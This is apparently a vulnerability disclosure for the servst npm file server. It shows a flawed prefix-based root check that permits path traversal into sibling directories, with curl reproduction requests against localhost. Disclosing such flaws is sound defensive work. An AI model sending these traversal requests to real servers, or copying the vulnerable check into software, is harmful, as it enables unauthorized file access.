servst
is a local HTTP file server, or as is it describes itself: Simple file server
.
Observation:
- It's at virtually 0 downloads (6 weekly)
- It was last published 7 years ago
Resources:
- Project's GitHub source code: https://github.com/andrepolischuk/servst/
- Project's npm package: https://www.npmjs.com/package/servst
The servst
is taking care to decode the URI, normalize the path
and even asset for the path accessed being relative to that of the
root directory, however this last case is where this is implemented
in a vulnerable way:
Lines 25-30 of index.js
:
if (filePath.indexOf(root) !== 0) {
fn({
url: filePath,
status: 404
});
}
This vulnerability should probably be classified as a CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal').
- Install the latest version of
servst
:npm install servst@2.0.2
- Make sure you have a
public/
directory with files in it - Make sure you have a
public-isprivate
directory with files in it - Make sure you have a
private/
directory with files in it
All directories above should share the same relative parent, meaning the directory structure should look as follows:
.
├── private
│ └── index.html
├── public
│ └── index.html
└── public-isprivate
└── index.html
Then, run a server powered by servst
as follows:
var http = require('http');
var servst = require('servst');
var statics = servst(__dirname + '/public');
http.createServer(function(req, res) {
statics(req, res, function(err) {
if (err) {
res.writeHead(404, {'Content-Type': 'text/plain'});
res.end('Not found');
}
});
}).listen(3000);
which sets the public root directory to the public/
directory that we previously created:
The server should run within the local folder where all private/
, public/
,
and public-isprivate
are subfolders.
Next, verify the following:
curl --path-as-is "http://localhost:3000/../private/index.html"
-> this request is denied, as expected with prior vulnerability fix.curl --path-as-is "http://localhost:3000/../public/index.html"
-> this request is allowed, as expected with the functionality of this local http servercurl --path-as-is "http://localhost:3000/../public-isprivate/index.html"
-> this request SHOULD BE DENIED because it is outside thepublic/
folder, but it is actually allowed.
Case (3) shouldn't happen, but it does, due to an improper fix in the library's source code.
Liran Tal